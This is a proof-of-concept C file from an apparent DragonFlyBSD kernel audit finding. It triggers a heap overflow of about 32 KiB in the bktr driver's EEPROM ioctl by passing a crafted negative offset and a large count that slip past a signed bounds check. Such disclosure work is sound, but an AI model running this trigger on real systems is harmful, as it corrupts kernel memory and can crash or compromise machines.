⬢ DragonFlyBSD Kernel Audit
DF-3785 / poc_eeprom_overflow.c
← back to finding ↓ download raw
/*
 * DF-3785 PoC trigger (requires real Bt848/878 hardware + bktr driver
 * with an i2c EEPROM, e.g. Hauppauge).
 *
 * 1. (optional, full content control) prime EEPROM bytes via raw I2C writes
 *    (BT848_I2CWR, see DF-1217): i2cWrite(dev+W, wordaddr, data) is exactly
 *    a 24Cxx EEPROM byte-write sequence.
 * 2. BT848_REEPROM with offset=-32511, count=32767: the signed
 *    `(offset + count) > max` guard passes (== 256 == max), and the read
 *    loop writes 32767 bytes into eeProm.bytes[256] -> ~32 KiB heap
 *    overflow of the 260-byte kmalloc'd ioctl argument.
 */
#include <stdio.h>
#include <string.h>
#include <fcntl.h>
#include <unistd.h>
#include <sys/ioctl.h>

#include <dev/video/bktr/ioctl_bt848.h>

int main(void)
{
	struct eeProm ee;
	int fd;

	fd = open("/dev/tuner0", O_RDONLY);
	if (fd < 0) { perror("open /dev/tuner0"); return 1; }

	memset(&ee, 0, sizeof(ee));
	ee.offset = (short)-32511;	/* offset + count = 256 = max -> pass */
	ee.count  = (short)32767;	/* 32 Ki-1 bytes into bytes[256] */

	if (ioctl(fd, BT848_REEPROM, &ee) < 0) {
		perror("BT848_REEPROM");
		return 1;
	}
	printf("returned; kernel heap 32 KiB past the ioctl buffer "
	       "has been overwritten with EEPROM data\n");
	return 0;
}